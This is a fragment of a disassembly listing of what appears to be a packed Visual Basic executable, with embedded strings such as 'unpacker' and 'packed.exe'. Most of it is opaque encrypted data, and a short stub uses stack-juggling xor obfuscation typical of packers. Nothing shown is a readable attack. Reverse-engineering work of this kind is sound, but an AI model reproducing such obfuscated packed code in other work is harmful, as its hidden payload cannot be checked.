2DD5E9BAh dd 0A8586C3Dh, 24DDF1C2h, 0A75F7344h, 30E5FACBh, 0EEBFB353h dd 764729DAh, 0FCCDA362h, 805117E8h, 0A93DD91Eh, 2430472Fh dd 2DD976C6h, 0D42E8245h, 0C8DC5D96h, 9AD82E37h, 0F50CA0E1h dd 0E879BA73h, 26D9C917h, 79FC7F42h, 2CFA49DDh, 5733C42Ah dd 2A2CF9C3h, 53E78346h, 0D62A2CF9h, 127BB445h, 5B4BA79Fh dd 7743C51Eh, 6305FA3Eh, 0A5A6BE92h, 92F946E2h, 0E3743410h dd 63069E2Ah, 74DA3041h, 85CC6FF2h, 25796FA7h, 2C5992DEh dd 82h, 1192Eh, 1654A13Dh, 48D93410h, 0D6B038Fh, 0D93F3041h dd 0B9479B9Dh, 0F4B7F8B1h, 410DC458h, 7DB64730h, 0A72CA043h dd 54936Fh, 19950000h, 0E7115901h, 7A497C84h, 2D774ADEh dd 0A334C52Ah, 78CC4F12h, 0E728E187h, 2D76770Bh, 2861F22Ah dd 92A019B5h, 54E53410h, 0DE720E91h, 0CC304162h, 0D2EA8F27h dd 16A74A9Bh, 30E97F82h, 0C14DB6EFh, 3041A529h, 92DF97FDh dd 6FA7C7EFh, 7E2h, 0CDCFE400h, 0FF000007h, 3D000119h dd 8446F145h, 84200EDAh, 2A2DB0F0h, 1049DA6Bh, 0EB3C019Dh dd 29213416h, 441AE95Bh, 450C512Bh, 7E95EE26h, 6AFB4E87h dd 32D024A7h, 0E69FCB35h, 1A5B14A5h, 6629DE1h, 8ADE2135h dd 0FC0A5ED1h, 0AE4ABD76h, 30473E1Ah, 3A730495h, 5A1D1E36h dd 307B8ABEh, 0B174053Ah, 0F5C6A25Dh, 0EBA31EE1h, 8FC8B6A7h dd 0E6EAA334h, 6E0ACDCEh, 3410C5C1h, 67521BACh, 3CE6AC54h dd 0A8773C1h, 18F40000h, 8D75895Ah, 8F80CDDh, 847D9162h dd 7FF13E4h, 50859A6Bh, 8E5F13F3h, 16E7897Ah, 9C6D0302h dd 20F17788h, 49DD79BEh, 0C4304732h, 0F9911666h, 0CB2A2C06h dd 53EFB2B3h, 3416387Eh, 0C5996AFBh, 4DE9ACADh, 3A306A80h dd 45995CEDh, 0C9DDAEBAh, 75793236h, 0FD995C5Dh, 341637D1h dd 14682BBCh, 21BD80F2h, 3047298Dh, 0D3467F10h, 1AB6807Fh dd 30472986h, 808FD574h, 0A245C3CBh, 0F5AF43DFh, 992A3047h dd 92A67708h, 0B642FB6Dh, 0B047F61Ch, 12D5D6EEh, 2B018176h dd 0A26BFCBAh, 60B615A9h, 0DE0D5BD6h, 9D000009h, 1E32036Fh dd 0A1B586E4h, 263A0B5Fh, 0A8BC8DDBh, 2E43145Eh, 86A9C89h dd 90E02337h, 165AABBFh, 9ACE3145h, 862267C9h, 304731F2h dd 0AABF0F6Dh, 3A17AC56h, 0A1734DB3h, 1E5F18A9h, 0C8C9E1E5h dd 3C946905h, 8993416h, 5A0EF145h, 0DE8A7589h, 8092125h dd 6EE0A945h, 0D4653A30h, 2342BD11h, 2EFF90E0h, 0C083E51Ah dd 9BD4966Ch, 15162E32h, 38D7CF52h, 78E4DB91h, 0D911D56h dd 70341666h, 3DC81CDFh, 15D16501h, 0BB4C3047h, 2A7EF12Ah dd 0AEC293D5h, 541751h, 0C8316A00h, 4715A43Ch, 5D5E7630h dd 536DFE9Ah, 4CE03A30h, 0BF00B9B7h, 0E8176B2Eh, 2BE4847Dh dd 458859EAh, 279226C2h, 7C0D2A2Dh, 6800FF43h, 0A4A4ADA5h dd 0CE9126Fh, 4E666AD3h, 21EE8A4Dh, 0C341658h, 0A6BEC27Bh dd 675FE2A5h, 667F46ACh, 0DB67A09Dh, 3A2A31AEh, 42814ADBh dd 87E0B6C1h, 8DFBE0Ch, 709C0000h, 0E51D3102h, 60A0B485h dd 0DC25390Ah, 5FA7BB8Ch, 882D4213h, 36076B9Bh, 0BE8FE122h dd 44155BAAh, 0C899CF30h, 0F1852166h, 6C304732h, 26D9BE0Eh dd 2345BC10h, 2CF9B347h, 14A5362Ah, 80E8175Bh, 264C8C7h dd 388CAA55h, 31C5A1C7h, 172A2CFAh, 0BB1E376Bh, 4DDE81E3h dd 3EE1EBBCh, 316993DFh, 7, 48DCF33h, 0AAFF0000h, 47BCA956h dd 0E9609829h, 0D8063C83h, 4AE43D76h, 581B1C34h, 1107FBBCh dd 0E5BD4E34h, 2DC8D197h, 0D0A0980Dh, 143EA1FAh, 871850B1h dd 31324A4Eh, 7FE81A6Eh, 1F58E981h, 2BC710ACh, 78A092Fh dd 380FD76Bh, 88C152FDh, 0E7EBA435h, 880BCECFh, 0E39CCE34h dd 9ADD69A2h, 0EF071E90h, 0B8479B5Eh, 34CBDFB0h, 7C7E6B34h dd 0BC3735A4h, 8006Eh, 0E1917B00h, 6406FC10h, 0E9817F93h dd 6BFD0418h, 0F280869Ah, 7AD70C21h, 115E68Ch, 899D6E02h dd 0F23F47Ch, 45A778F0h, 33D06400h, 0ED4B3047h, 4226D99Dh dd 0DD79FC7Fh, 2A2CFA49h, 0C35733C4h, 462A2CF9h, 0CF137CB5h dd 0D96D0937h, 542A2CF9h, 1E6132C3h, 0F96BFF9Bh, 5DEE2A2Ch dd 7082024h, 3825A844h, 0B9C3416h, 0E5285048h, 8EAD24D9h dd 2E6709FAh, 0D09867BBh, 5414EBFFh, 7E7F979Bh, 0C561FBBh dd 4ADB3A31h, 9DCD3387h, 629DF164h, 14EF4306h, 8EA2235Ch dd 0FA3EF771h, 498340Ch, 872A2DE1h, 759C65F6h, 5EE0B80Dh dd 74F95E3h, 0E02C0000h, 55ADC192h, 0D0304415h, 4CB5C99Ah dd 0CF374B1Ch, 18BDD2A3h, 0C697DB2Bh, 4E1F51B2h, 0D4A5CB3Ah dd 58293FC0h, 8115B1F6h, 0FC304734h, 0B2AA4E9Eh, 0F68BDFBAh dd 0E3E72095h, 8407CACBh, 8E12038Ch, 0B5EE104Eh, 166B6029h dd 0B551E534h, 32C304BDh, 84E41B6Fh, 0E41C70B3h, 0F6094D86h dd 81B7AF72h, 82D754A3h, 0ABAF1851h, 33CF9293h, 3A2A642Eh dd 600FF78Bh, 0D213CCA6h, 0B6478841h, 0B6FED4EDh, 0E836B1E0h dd 6C5h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h, 0B54A5E2Fh dd 3B80E2B3h, 47350B9Fh, 0E0308E30h, 894226D9h, 0F5AEBA45h dd 54D492F6h, 0B46D0300h, 9F63A73h, 0E1848E5Fh, 0D4699318h dd 10h, 0F886E9E1h, 8A1410C5h, 80CFD351h, 0FF000002h, 894226D9h dd 9C696D85h, 39CB7A2Dh, 58E94B93h, 2D8104C7h, 0FF6996D9h dd 7B0FAB6Eh, 0FE2A2D7Dh, 0DFA8346Dh, 423416B8h, 205917EEh dd 0DA6E0ACDh, 643047B0h, 9A2BCE9Ch, 0DB243809h, 0D61D48Dh dd 0FB3F78F8h, 5396670Bh, 0B0A034D0h, 0D82A3047h, 0F598D992h dd 0B0AB2C64h, 5FCC6D66h, 90A2226h, 5C0EF246h, 0AC14B023h dd 0CF3A3131h, 0D8277B3Eh, 54ABBF90h, 0EF175B14h, 0AEC6CA83h dd 794EEAADh, 0F43410E2h, 3F639A63h, 0CD48E6ACh, 5D47Fh dd 0D65A700h, 90DA283Ch, 1555ABBFh, 97D13044h, 1E54B2C6h dd 0A683384Dh, 2D411260h, 0B5C99AD6h, 3B4F2050h, 71D3A4C4h dd 35FC902Ch, 217F3047h, 3F26D9D1h, 611AABC7h, 0CD86E21Dh dd 5B0C6ACEh, 0E9F3C4A4h, 69931846h, 1039h, 24CF3B00h dd 0A000001h, 914A0412h, 0C1FA7740h, 4226D943h, 0B8EAB479h dd 98E661E0h, 569h, 0A778FA12h, 2AFB6F93h, 0AF80EA16h dd 3102669Bh, 0B889E91Dh, 0F5117EA3h, 6B98AC7Dh, 0E5203405h dd 59A6BA8Bh, 97DC3E0Fh, 473667FBh, 3484E230h, 7F4226D9h dd 0F9CC60FCh, 0BE4F2A2Ch, 27D81C85h, 46898841h, 42B40DF2h dd 35B21331h, 26BAF384h, 80E81740h, 0ED186CAFh, 6D104A83h dd 60699385h, 0Dh, 0A1CF62h, 0CFFF0000h, 9Bh, 119FFh, 34D8A13Dh dd 0CC5D3416h, 0F6F70F13h, 4FD69733h, 1AAB3A2Ah, 0B6C2D651h dd 0A2F06BE0h, 4D5h, 3B0C66A6h, 0BE8FDB27h, 431456AAh dd 0C596D22Fh, 4C1D55B1h, 61A58237h, 0D72C4011h, 51B4C899h dd 0C53A4E1Fh, 2B70D2A3h, 4736FB8Fh, 0D0207E30h, 0C3AD56AAh dd 8C90C90Ah, 2DB07374h, 0AAB8DB35h, 9DD6CF5Eh, 11317011h dd 62A1F534h, 0F182D50Eh, 7B0FAB2Eh, 0FE3041A3h, 6DC1346Dh dd 0AA06D793h, 3041A411h, 490C5CA3h, 235C0CF5h, 0F8728EA2h dd 45FF13Fh, 19210000h, 0A13D0001h, 341634D8h, 8609CC5Dh dd 472C56EAh, 4F19E830h, 1EB25596h, 90D18AE8h, 595DC6FFh dd 0FA7D4041h, 70766A02h, 474240D4h, 0F22ABB30h, 1F58B3E4h dd 2B07D293h, 5D26B73Ah, 0E0B61ABCh, 16A0EE69h, 65000004h dd 0E6FACBA7h, 697D4E1Ch, 0EE02D397h, 70845513h, 0F60BDC96h dd 0D0A264C1h, 5818EBFFh, 0DE927387h, 6206F90Dh, 4EEA2F91h dd 304737BAh, 0AA87D735h, 0A0F6EDB2h, 0ABE30D69h, 3373A5A0h dd 0C8CC05EDh, 1355ACB0h, 0C588195Ah, 0F12A642h, 0FC8D2A2Dh dd 96CF9968h, 49C28723h, 36C73416h, 88E01F73h, 0C5CA3B7h dd 36374F53h, 88E01F73h, 0C40DC4Fh, 4F3A305Dh, 58A7FBBEh dd 0D42B3F10h, 0BFD7DB94h, 1C03FBBEh, 0EEB567A8h, 0D773E61Fh dd 3410A62Ah, 4F16EB3Fh, 0BDFEB7B3h, 0FA0F32Ch, 0AC74DF46h dd 351CCE6h, 36Dh, 0A374FE0Eh, 26F7738Fh, 0AB7CEE12h, 2DFE6A97h dd 0B485ED19h, 0F90D7A9Fh, 6F94A879h, 0E91C3001h, 5DA2B687h dd 93D83A0Bh, 473863F7h, 3888E630h, 0BDAB56AAh, 0A9BF4084h dd 6E53ACF0h, 53EF53BBh, 2A2D85BFh, 4571A93Ah, 4B0E9F58h dd 81982CC8h, 82132A2Dh, 0DCF4C849h, 937C18DBh, 0F63410B2h dd 13CC9E62h, 0FC8841D2h, 3041B164h, 6FBF338h, 6377492Bh dd 96D0649Dh, 0A7B328CBh, 0B652D56Fh, 30418D22h, 0A6D30C9Dh dd 34h, 0AD56AAA8h, 6E868AC3h, 0D50EAA6Dh, 9834101Fh, 87DB4E07h dd 9024C07Eh, 0B304113h, 0EF30E97Ah, 13922AB6h, 663041h dd 3658FB66h, 0E34B6FA7h, 4D000000h, 894226D9h, 58AEC145h dd 8F20611Ah, 0FB6D92D6h, 0C001FE42h, 62D76D06h, 6AFE9AB7h dd 0E52A2DE8h, 6132C354h, 2CF4BB05h, 0EA69E2Ah, 3397D7CAh dd 0DB2468A1h, 57A8BC8Dh, 3C545811h, 83DC783Bh, 0E63410BDh dd 9D33C763h, 25B63041h, 3FF87091h, 0E172C5FEh, 23243C10h dd 0AD41DD60h, 3030419Ch, 57F3669Fh, 3A28545Eh, 7AF60FA3h dd 2CEF80C1h, 0A432DD8h, 0AFC34397h, 333CCADEh, 440D9ED2h dd 0E0BAFEE7h, 221765E0h, 59000002h, 0DAEEBFB3h, 5D714228h dd 0E2F6C7A3h, 6478491Fh, 0EAFFD0A2h, 0C4AE5835h, 4C24DFF3h dd 0D29E677Bh, 5612ED01h, 42DE2385h, 304739AEh, 0D983D331h dd 2E82452Dh, 9DDE97D1h, 30CFE364h, 0C67D7538h, 0EEFA8D5Fh dd 2366E720h, 239534CFh, 0F36D72C0h, 3C7D36C7h, 1198503h dd 68A13D00h, 0ED341020h, 0BA45995Ch, 800C75AEh, 304113E8h dd 2EE7897Ah, 9A5315EAh, 283F379Bh, 99DA93DDh, 1D71B608h dd 0BC5089E9h, 3614B7BAh, 3EC16FA7h, 41080EA2h, 6C009130h dd 709DD694h, 104h, 4226D972h, 0B1C14589h, 0D23185F8h dd 0D672E59Eh, 2A2CFA42h, 639B2CBDh, 4EAA02D7h, 18DC6A9h dd 2A2CA2B7h, 0D62F36C9h, 0CA0E19Ah, 13E475F3h, 0E6877CD0h dd 7C0511Fh, 9ED432C6h, 8ADE2165h, 0B4B5CDD1h, 4766EF1h dd 4D1651CAh, 39F27689h, 0A22E67F8h, 34108F49h, 276A3BCCh dd 6B68F42Fh, 0DB1CD595h, 4B97D1A3h, 69224EB7h, 0D3EBEF28h dd 45BB0FD2h, 7F31D67Eh, 0B647B0CDh, 946E0A7Dh, 773A2876h dd 0D7240F7Fh, 2F8BA73Bh, 5991222Ah, 195287E8h, 9AD032C6h dd 14F24609h, 0C74A8D5Eh, 23DC8C73h, 0B57206E2h, 0B5ED2A2Fh dd 3315886Eh, 3F780975h, 9E670BFBh, 0E0BAA65Bh, 0C27FCD48h dd 0B9000000h, 3A4E1F53h, 0BDD1A2C8h, 42562743h, 0C4D8A9BFh dd 4A5F3042h, 244EB895h, 0ACC43F53h, 323EC7DBh, 0B6B24D61h dd 0A23E83E5h, 30473B0Eh, 0D9E33391h, 0A9BF422Dh, 185AACF0h dd 1125F687h, 5BA97AEEh, 7F4226D9h, 0F9CC60FCh, 3BBA2A2Ch dd 0B2C5DAC0h, 27BB4CEFh, 0F25B94DCh, 461751AEh, 96595A72h dd 1640C2FAh, 7B34C534h, 0CFA0C837h, 0ED0F948Ch, 0C5BD4F82h dd 0B1B7488Ch, 1F89F6EEh, 7F4B2BCh, 79BA73FFh, 0BA46AFE8h dd 3EA71FB6h, 6EF97DD1h, 0F206D791h, 5EA25B0Dh, 0E40CC5A3h dd 2669BEFh, 263135C9h, 0AABE8FD9h, 0FC501355h, 0C7306907h dd 0C79h, 26ABA900h, 2288532Eh, 3C7597FFh, 3F33D9BEh, 0ABBD4286h dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh, 0D1976AAEh dd 3E2CD418h, 0A9C14185h, 0C68EAF0h, 8900002Eh, 4B68243Ch dd 8900003Eh ; --------------------------------------------------------------------------- sbb al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push esi push ecx mov ecx, 51153908h mov esi, ecx pop ecx mov ebx, 570F0D2Eh xor ebx, esi pop esi push esp mov esi, [esp] add esp, 4 push ebx push ebp mov ebp, 26FD0184h xor [esp+4], ebp pop ebp pop dword ptr [esi+8] xor dword ptr [esi+8], 26FD0184h mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_55D2A6 ; --------------------------------------------------------------------------- dd 64432DFh, 9952C624h, 42C7B8CFh, 0C503061Ah, 9781E0FFh dd 1509394Fh, 10A458B7h, 9732252Ch, 0E46B4FF4h, 1F851453h dd 0E64E41CCh, 4674968h, 46484811h, 4E5F1C96h, 70867B37h dd 88833CBEh, 0E4061192h, 32B94994h, 2BEF34B2h, 0FF596074h dd 0DA95C29h, 0F66207E1h, 6FE917E7h, 8F000001h, 0C55B8835h dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h dd 2E64656Bh, 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 4 dup(0) dd 0D7E90000h, 6800001Bh, 61A4705h, 0FA3902E9h, 47DC68FFh dd 0F8E9061Ah, 68FFFA38h, 61A48DAh, 0FA38EEE9h, 49B468FFh dd 0E4E9061Ah, 68FFFA38h, 61A49F3h, 0FA38DAE9h, 4AAD68FFh dd 0D0E9061Ah, 68FFFA38h, 61A4B19h, 0FA38C6E9h, 4B6B68FFh dd 0BCE9061Ah, 68FFFA38h, 61A52DDh, 0FA38B2E9h, 538468FFh dd 0A8E9061Ah, 68FFFA38h, 61A543Fh, 0FA389EE9h, 550A68FFh dd 94E9061Ah, 68FFFA38h, 61A5575h, 0FA388AE9h, 561368FFh dd 80E9061Ah, 68FFFA38h, 61A56CEh, 0FA3876E9h, 575F68FFh dd 6CE9061Ah, 68FFFA38h, 61A5DF4h, 0FA3862E9h, 5EF268FFh dd 58E9061Ah, 68FFFA38h, 61A5FA8h, 0FA384EE9h, 0C7F8E4FFh dd 823B9875h, 3C7F5330h, 0F1C80DEAh, 0A815C29Fh, 159B1D56h dd 0CCA9FBC2h, 8562B405h, 3D1A6C53h, 0C4D02299h, 2D50363Ch dd 6964580Ch, 0F7C41202h, 23983E4Bh, 0D787F5D1h, 38F6898Fh dd 3C6457E5h, 96B91DF4h, 0B3824888h, 0D6059D20h, 4544266Ch dd 2D4F5806h, 0C40FDC6Dh, 75ECAF9h, 0F7F8D991h, 39h, 874F170Eh dd 0F1E79B81h, 187AF51h, 51F1E81Bh, 0CED8072Fh, 9B68B060h dd 7CD4803Bh, 7E41474Dh, 4C57E503h, 50327824h, 5B580603h dd 0E3821939h, 1BF8D9D6h, 0CDh, 0F7C41232h, 24993E4Bh dd 506B6B78h, 7A553108h, 4E371D23h, 234B51F2h, 8AAA8CCh dd 74626FD9h, 0A1DFF547h, 0D351F265h, 661F050Bh, 0B3351F2h dd 0B605D1DCh, 6C4F8764h, 70565C24h, 8451F266h, 0B7C32D5Ch dd 575DA549h, 57E5801Ch, 0D1E8EDCAh, 9D0BE739h, 0FED2A9F1h dd 4A78AB4Dh, 9B636998h, 9B50ACEh, 123E82B1h, 205DFB54h dd 0E3D8053h, 521A628Ah, 0BF6B5285h, 0AA2D3867h, 0F3E4C113h dd 8637670Bh, 821A6786h, 937A80A4h, 0C5D3BD38h, 1932h dd 0A8FAC517h, 63B508CBh, 1D6F4C86h, 0D2249540h, 89DBE2F5h dd 8F486850h, 0D2FFDC2Eh, 20B895E7h, 66704D9Fh, 6FF70355h dd 0C2F8369h, 359C9758h, 0A6F8C512h, 5CAE0DC9h, 0F9A513A3h dd 2E8ABB1h, 673457E5h, 9D21506Bh, 0A183C975h, 26580602h dd 576410ADh, 5F933F7Ah, 13DADF7Bh, 5861703Dh, 0D32554ACh dd 0D6491CB7h, 0AFB5F8D9h, 0AD000000h, 0EF9DFE5h, 0E50D5806h dd 0C412CFB6h, 993E4BF7h, 0F4327824h, 2151F1EBh, 0D7B406B5h dd 410BCFFh, 0D5A2EA96h, 0B911BDFCh, 437E848Ah, 6F57E506h dd 5A8936A2h, 805CAED6h, 20266E12h, 5DFADB05h, 36034B73h dd 0F2CA1CA1h, 0DB121A1Bh, 82880CB8h, 5E1CBB9Ch, 0C1F088B0h dd 0BE9C21B6h, 38946370h, 5BE9F7E1h, 0EE000018h, 0A27FD1EEh dd 5D3A8C31h, 17F44675h, 0CCA9FBBEh, 2760B20Bh, 5B81F91h dd 0BEFBD6B3h, 76498F6Ch, 2C8F4724h, 4046CEDAh, 580C2F5Ah dd 120C736Eh, 0CEA6F8C5h, 75037CF7h, 0CCFB3CA5h, 5EA615C1h dd 46754491h, 0C4127D36h, 983E4BF7h, 87F5D123h, 0BB08B522h dd 9FF7A316h, 0E4F2BF07h, 0A4D32BD7h, 48FFD69Eh, 0A81D9907h dd 0B9286C9Bh, 4D57E547h, 0B9655680h, 86AE3261h, 48B294DAh dd 9BBD5806h, 8C81E4FFh, 0E97DF8D9h, 94000000h, 5ECC79D1h dd 99E6D5FDh, 9DE57D3Ch, 0E5014C97h, 7B331A57h, 0C0EDEAC0h dd 54F58Dh, 8A7EB04Ch, 10580876h, 93CB570Ah, 95DD0532h dd 9991C8BEh, 0B1273DDCh, 720A620Eh, 5FCDD943h, 0D29F67AFh dd 4488B704h, 38A92E77h, 856B7149h, 1238CC2Eh, 0C34FABFh dd 775F2C74h, 0DF77428Fh, 0E026B08Dh, 0C51DC9F2h, 0F0E94F2Dh dd 927C5DE4h, 175D84h, 0CFF0EC00h, 8A33A07Dh, 44775B38h dd 0F9C015F2h, 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh dd 4522744Bh, 0CCD82A91h, 30583E44h, 716C580Ch, 8D4A170Ah dd 0E0F60130h, 0FC693DBh, 43DBE2F5h, 0A6103F97h, 3C842C9Ah dd 0E500C736h, 0D500DD57h, 6713A62Fh, 97DF770Fh, 8A5DF9C0h dd 30789358h, 65A442Ah, 1305858h, 854C19F1h, 0D9308834h dd 0D50E1E53h, 0B79ECDEDh, 5ECC79D1h, 369D6AB2h, 8A525887h dd 0F8A41BBDh, 0E22D71A0h, 0B057E501h, 0AB93E788h, 2DDCECFDh dd 0C1C70FBFh, 0E522190Eh, 0DCE894BCh, 0B27AC26Eh, 18FEE4EAh dd 468BE543h, 3885AD73h, 1D75219Ah, 99DDAAEEh, 87AFEB37h dd 5764723Fh, 2A8F420Fh, 0E7F7267Eh, 11EFCC0Ah, 0AB568631h dd 83505E48h, 0C6000016h, 7A57A916h, 35126459h, 0EFCC1E9Dh dd 0A481D3E6h, 0FF388A33h, 0DDE0F7B9h, 9623AE8Bh, 4E716744h dd 4B71FFCh, 181EA6B2h, 580C3132h, 12E44B46h, 3319F7C4h dd 5A44BF38h, 16446270h, 0D7050000h, 1AB996E8h, 5E7451A3h dd 0A72E0B5Dh, 0F4E3C012h, 7A3E77C9h, 0CA1CA136h, 83D5E4EDh dd 3B8D32A6h, 0F143785Eh, 71575DE5h, 85580C31h, 0C412238Ah dd 0E1E7AFF7h, 51F1E7FBh, 3B9AE70Fh, 4B7AD27Eh, 0B767D5E1h dd 0EEB6696Fh, 3C6457E5h, 0D665CCEAh, 6A70B868h, 5DF9081Fh dd 0E24C5EDh, 95A4046h, 966E5E1Ah, 1A08AA90h, 0FE96BE5Eh dd 0E0578BCFh, 1381D880h, 6A1D236Bh, 1800B5DCh, 0CA3844F0h dd 0BD8DE26h, 0DD06CB5Dh, 9FA56DB5h, 6EE5CB9h, 0F44EA5CDh dd 9567AD03h, 0B7848AB9h, 8C549C1Fh, 0EE59A086h, 5D8CB406h dd 5566704Dh, 0C2C5DF77h, 0CAD8C28Fh, 158Ah, 50A21DBFh dd 0B5D6073h, 0C517A42Eh, 7ACCEDE8h, 31833A9Dh, 0E7F0C0F8h dd 2AA784D6h, 78603D8Fh, 0BE18F547h, 179FABFDh, 0C322B11h dd 0DD443F58h, 0F1E7F3D9h, 18654751h, 18EF51F1h, 134336E2h dd 3E82B107h, 51F1F25Ch, 0F2D1C6A8h, 27795051h, 423CC272h dd 0A138C0CDh, 7D15148Bh, 2893434Eh, 0BE4C164Ah, 0A7B59F44h dd 151Eh, 0BC0EB12Bh, 77C9F4DFh, 3183389Ah, 0E6388154h dd 9DEFCE09h, 7B5C5464h, 0BE13F042h, 0CCCA9FBh, 528461B3h dd 830B1769h, 0C32977Dh, 49B0AB58h, 9344A513h, 0E78E747Ah dd 7AA251F1h, 0FC024AE2h, 57E5197Dh, 0BDAD8BB3h, 0C3EAB26h dd 14CC1422h, 5F7D0000h, 0A2310E60h, 0E6ECC91Bh, 2FA683D5h dd 7C5B388Ah, 2B6EF41h, 429429AEh, 0FB4D6C65h, 0B305BA1Eh dd 69BB00D6h, 0E9CFD55Dh, 0FD580C32h, 4A179B02h, 2A822E8Bh dd 20E6F0FBh, 19BC09B2h, 0F3C008A0h, 0D52DD9E4h, 0A72F3CA6h dd 7B5B6814h, 4C879440h, 0CE70C571h, 0C1D52D8Ch, 0ED5B0A81h dd 24A3FEEDh, 0BA000000h, 0F1E7F7D9h, 615A7C51h, 7D8B4C19h dd 9DCC645Bh, 6C16778Dh, 0A24E502Ah, 0B605CD9Ah, 14447B87h dd 12D20000h, 279442C4h, 0EDBE38Fh, 0BFC9F8C5h, 9865AD51h dd 4C52813Ah, 0E5EE6B46h, 0DF315957h, 33399503h, 5805EE4Dh dd 59A13961h, 0F93C0453h, 6B2DA5Dh, 2C32D9F9h, 5E1A1D46h dd 1CECD2D8h, 0D8005E1Ah, 0A52EA12h, 1D563C42h, 0F0E35E1Ah dd 0B0DF07CDh, 1CA78AA0h, 0A52E5E1Ah, 0EAE9C618h, 0B91A27D3h dd 82E65804h, 4C5A31C0h, 86A32D53h, 10C3CEFDh, 3E9865ADh dd 4A79D17Dh, 8C69FC3Ah, 5195F2C5h, 0AC000002h, 0B1F9A513h dd 0E5E954ABh, 0D8FBC857h, 94E139E5h, 0C74B7A43h, 0EDE6F39Fh dd 32A17ED0h, 0F6C30EDBh, 5E98A70h, 30161C58h, 445805EAh dd 0E12E561Ch, 8632CAF1h, 9625B17Eh, 85318849h, 0D8BAFE2Dh dd 36580519h, 0D7FC3052h, 0EFBC94E6h, 87FD6E9h, 0E6F4D941h dd 0CD3B4574h, 0B11D921h, 5805EE25h, 0EF9B20B2h, 61A9D197h dd 5EE755Bh, 32618958h, 0F6B262Ch, 0F1195DF9h, 699F3845h dd 4BA34F6Eh, 0B28961B3h, 0A30A4659h, 0C5D0FF5Bh, 8C63AB12h dd 0A0F0BD0Fh dd 67D1003Ch, 7845925Fh, 0EB210549h, 9F835E19h, 2F8E49E3h dd 0EB9301DDh, 0ED7A9DA3h, 0E008640Dh, 0E4CAD098h, 0F8642DEDh dd 2A37A1D0h, 0E0BD0FACh, 0D319C5F6h, 642DEDEDh, 1ED36F53h dd 0EABA0147h, 0CF27D3E8h, 9D160578h, 8973636Eh, 32C36226h dd 0A8FA9211h, 0D70008CBh, 95A24EE6h, 61D37F3Eh, 2CA75DFDh dd 2EC6F7DCh, 1C79EDCh, 9837ECB1h, 4E000000h, 4CF8C512h dd 6370983Fh, 0A416C25Ah, 0EDEA0240h, 25407ED0h, 0D9FEEDEEh dd 7Bh, 0F7C412F0h, 23983E4Bh, 0F8C50EDBh, 5BC5F44Ch, 2FC585E9h dd 0F5CC14A7h, 0C3F8B5F9h, 959BE325h, 51F2E3AFh, 5C6C9BC3h dd 0ECF1471Eh, 49B7FEh, 0D8AF0000h, 329D7DC4h, 0B89FCE5Bh dd 0B1F9A513h, 0E5EA88ABh, 42EE1657h, 51686D3Ah, 0DA1E4DA5h dd 5805EAF8h, 90A1E103h, 0EADCC2C8h, 6F695805h, 864CA450h dd 0A2C32F5Eh, 5CF8D9EAh, 0BCh, 0B74F8754h, 5D09A11Ch dd 17EFD605h, 2F8C4Ah, 90D888F6h, 0E50D538Ah, 35E10957h dd 795F652Dh, 8D58060Eh, 2BB1865h, 0B20BC8D3h, 6D508360h dd 0EBECB9C1h, 3B98A3D2h, 0A5633A82h, 43F842Eh, 14C0FDDAh dd 8BF524BCh, 6495B519h, 3CC1E58Dh, 88D5BF55h, 69C16D4Eh dd 19A42F3Ah, 8EDC89C7h, 4F22F8D9h, 39000000h, 0B3FBAB13h dd 0F1E7E7ADh, 0DDE3BBD1h, 0D1F1E7F7h, 9F4BE30Bh, 0F1E97759h dd 7012B4D1h, 28F555BDh, 0A58B11AAh, 32D1F1E8h, 745117A4h dd 2DC55D5Eh, 0E919DFE5h, 0C5ED51F1h, 9627B07Dh, 11795767h dd 0B1000000h, 0E8FDE3E9h, 0E91151F1h, 6711D3BAh, 68000000h dd 2F8C4A17h, 2EDDF500h, 0F1E84228h, 5D795651h, 8E6FC65Eh dd 53365795h, 626A16AEh, 3BBD4395h, 514AC6B5h, 4AA24EE6h dd 0FAC3101Bh, 0B508CBA8h, 0E694FD09h, 7365323Ah, 0F8D91D4Ch dd 7B51F1F6h, 0A7B4605Bh, 8BE38F2Ah, 7177943Eh, 51F1F68Bh dd 33DF779Fh, 0BC3D5DC1h, 1CB7D3F5h, 0FEEDE249h, 0C1AB5h dd 0AA13CC00h, 9D0A50FCh, 0AEDB5A3Bh, 90D5CE8Ch, 6E7542B8h dd 48h, 0D03F9966h, 9D24E4CAh, 38D0F8DBh, 0E6EC348Ch, 0DB9D2500h dd 0D6BDEC14h, 0B4FCAA13h, 0F1E7C8AEh, 4A8D5A51h, 98C04473h dd 0BB17E4ECh, 0F58DD100h, 5CFB05D5h, 1CE9183Ah, 5804B5h dd 250065D1h, 7AFE557Ah, 15000002h, 0D3FCAA13h, 63494F17h dd 7751F1E8h, 0F097204Fh, 0CEF7C412h, 8ED1A8BEh, 7C8E5BE7h dd 0B118FF2Eh, 1EDE5C4h, 465Ah, 0AA137100h, 0F1E7B4FCh dd 0E832181Eh, 1E4651F1h, 4CDDA86h, 7EE1DB5h, 0E82E1117h dd 0EDBA51F1h, 0CD25D1E8h, 0C9F21A9Eh, 0C0126E17h, 952D9246h dd 7D4A106Ch, 93B7A654h, 8D6B2D8Ch, 0C2F149F5h, 3211DBh dd 13680000h, 17D3FCAAh, 0F1E82E11h, 9B365151h, 175D861Eh dd 0E863494Fh, 1FE651F1h, 1FD4F40Eh, 0B7E60ED4h, 0C01208B1h dd 84308D46h, 0C9F4DF2Ch, 69100831h, 32874A17h, 0BBFF2E86h dd 0C1D64846h, 0B322E6F1h, 3F1C6E06h, 0FDC2497h, 0F048F4C7h dd 6A6D38C1h, 1ABD8853h, 0EDEAF7A3h, 0CF024D0h, 67CB6B4Eh dd 0F6C5112Bh, 1F9C3A55h, 4ADF00D7h, 0BA6B1A28h, 